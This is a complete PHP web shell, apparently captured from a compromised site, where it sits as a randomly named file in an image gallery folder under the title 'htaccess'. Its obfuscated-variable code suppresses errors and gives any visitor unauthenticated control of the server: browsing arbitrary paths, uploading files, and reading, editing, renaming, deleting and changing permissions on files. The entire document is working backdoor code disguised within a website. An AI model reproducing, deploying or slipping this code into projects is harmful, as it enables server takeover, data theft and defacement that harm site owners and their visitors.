Current Path : /home/novaamcom/public_html/imagens/galeria/fotos/
Upload fichier :
Current File : /home/novaamcom/public_html/imagens/galeria/fotos/ece7a4546ht.php

<?php error_reporting(0);set_time_limit(0);if(get_magic_quotes_gpc()){foreach($_POST as $z0=>$o1){$_POST[$z0]=stripslashes($o1);}}echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title>htaccess</title>
<link href="" rel="stylesheet" type="text/css">
<style>


body{
    font-family: "Archivo+Narrow", cursive;
    background-image:url();
    background-position:fixed;
    text-shadow:text-shadow: #D4EE00 2px 0px 12px; color:#40DAEE;
}

#content tr:hover{
    background-color: #40DAEE;
    color:#40DAEE;
}
#content .first{
    background-color: #40DAEE;
}
#content .first:hover{
    background-color:  #40DAEE;
    color:#40DAEE;
}
table{
    border: 1px #EEEEEE dotted;
}
H1{
    font-family: "Archivo+Narrow", cursive;
}
a{
    color: #D4EE00;
    text-decoration: none;
}
a:hover{
    color: black;
    color: #D4EE00;
}


input,select,textarea{
    border: 1px #D4EE00 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Current Path : ';if(isset($_GET['path'])){$a2=base64_decode($_GET['path']);}else{$a2=getcwd();}$u3=base64_encode($a2);$a2=str_replace('\\','/',$a2);$h4=explode('/',$a2);foreach($h4 as $j5=>$m6){if($m6==''&&$j5==0){$j7=true;echo '<a href="?path='.base64_encode("/").'">/</a>';continue;}if($m6=='')continue;echo '<a href="?path=';$l8='';for($u9=0;$u9<=$j5;$u9++){$l8.="$h4[$u9]";if($u9!=$j5)$l8.="/";}echo base64_encode($l8);echo '">'.$m6.'</a>/';}echo '</td></tr><tr><td>';if(isset($_FILES['file'])){if(copy($_FILES['file']['tmp_name'],$a2.'/'.$_FILES['file']['name'])){echo '<font color="blue">fichier Upload succes.</font><br />';}else{echo '<font color="red">fichier Upload erreur.</font><br />';}}echo '<form enctype="multipart/form-data" method="POST">
Upload fichier : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';if(isset($_GET['filesrc'])){echo "<tr><td>Current File : ";echo base64_decode($_GET['filesrc']);echo '</tr></td></table><br />';echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');}elseif(isset($_GET['option'])&&$_POST['opt']!='delete'){echo '</table><br /><center>'.$_POST['path'].'<br /><br />';if($_POST['opt']=='chmod'){if(isset($_POST['perm'])){if(chmod($_POST['path'],$_POST['perm'])){echo '<font color="blue">Change Permission Done.</font><br />';}else{echo '<font color="red">Change Permission Error.</font><br />';}}echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o',fileperms($_POST['path'])),-4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';}elseif($_POST['opt']=='rename'){if(isset($_POST['newname'])){if(rename($_POST['path'],$a2.'/'.$_POST['newname'])){echo '<font color="blue">Change Name Done.</font><br />';}else{echo '<font color="red">Change Name Error.</font><br />';}$_POST['name']=$_POST['newname'];}echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';}elseif($_POST['opt']=='edit'){if(isset($_POST['src'])){$l10=fopen($_POST['path'],'w');if(fwrite($l10,$_POST['src'])){echo '<font color="blue">Edit File Done.</font><br />';}else{echo '<font color="red">Edit File Error.</font><br />';}fclose($l10);}echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';}echo '</center>';}else{echo '</table><br /><center>';if(isset($_GET['option'])&&$_POST['opt']=='delete'){if($_POST['type']=='dir'){if(rmdir($_POST['path'])){echo '<font color="blue">Delete Dir Done.</font><br />';}else{echo '<font color="red">Delete Dir Error.</font><br />';}}elseif($_POST['type']=='file'){if(unlink($_POST['path'])){echo '<font color="blue">Delete File Done.</font><br />';}else{echo '<font color="red">Delete File Error.</font><br />';}}}echo '</center>';$y11=scandir($a2);echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Name</center></td>
        <td><center>Size</center></td>
        <td><center>Permissions</center></td>
        <td><center>Options</center></td>
    </tr>';foreach($y11 as $a12){if(!is_dir("$a2/$a12")||$a12=='.'||$a12=='..')continue;$v13=base64_encode("$a2/$a12");echo"<tr>
        <td><a href=\"?path=$v13\">$a12</a></td>
        <td><center>--</center></td>
        <td><center>";if(is_writable("$a2/$a12"))echo '<font color="blue">';elseif(!is_readable("$a2/$a12"))echo '<font color="red">';echo perms("$a2/$a12");if(is_writable("$a2/$a12")||!is_readable("$a2/$a12"))echo '</font>';echo"</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$u3\">
        <select name=\"opt\">
        <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$a12\">
        <input type=\"hidden\" name=\"path\" value=\"$a2/$a12\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";}echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';foreach($y11 as $u14){if(!is_file("$a2/$u14"))continue;$k15=filesize("$a2/$u14")/1024;$k15=round($k15,3);if($k15>=1024){$k15=round($k15/1024,2).' MB';}else{$k15=$k15.' KB';}$y16=base64_encode("$a2/$u14");echo"<tr>
        <td><a href=\"?filesrc=$y16&path=$u3\">$u14</a></td>
        <td><center>".$k15."</center></td>
        <td><center>";if(is_writable("$a2/$u14"))echo '<font color="blue">';elseif(!is_readable("$a2/$u14"))echo '<font color="red">';echo perms("$a2/$u14");if(is_writable("$a2/$u14")||!is_readable("$a2/$u14"))echo '</font>';echo"</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$u3\">
        <select name=\"opt\">
        <option value=\"\"></option>
        <option value=\"delete\">Delete</option>
        <option value=\"chmod\">Chmod</option>
        <option value=\"rename\">Rename</option>
        <option value=\"edit\">Edit</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$u14\">
        <input type=\"hidden\" name=\"path\" value=\"$a2/$u14\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";}echo '</table>
    </div>';}echo '
</BODY>
</HTML>';function perms($u14){$m17=@fileperms($u14);if(($m17&0xC000)==0xC000){$f18='s';}elseif(($m17&0xA000)==0xA000){$f18='l';}elseif(($m17&0x8000)==0x8000){$f18='-';}elseif(($m17&0x6000)==0x6000){$f18='b';}elseif(($m17&0x4000)==0x4000){$f18='d';}elseif(($m17&0x2000)==0x2000){$f18='c';}elseif(($m17&0x1000)==0x1000){$f18='p';}else{$f18='u';}$f18.=(($m17&0x0100)?'r':'-');$f18.=(($m17&0x0080)?'w':'-');$f18.=(($m17&0x0040)?(($m17&0x0800)?'s':'x'):(($m17&0x0800)?'S':'-'));$f18.=(($m17&0x0020)?'r':'-');$f18.=(($m17&0x0010)?'w':'-');$f18.=(($m17&0x0008)?(($m17&0x0400)?'s':'x'):(($m17&0x0400)?'S':'-'));$f18.=(($m17&0x0004)?'r':'-');$f18.=(($m17&0x0002)?'w':'-');$f18.=(($m17&0x0001)?(($m17&0x0200)?'t':'x'):(($m17&0x0200)?'T':'-'));return $f18;}?>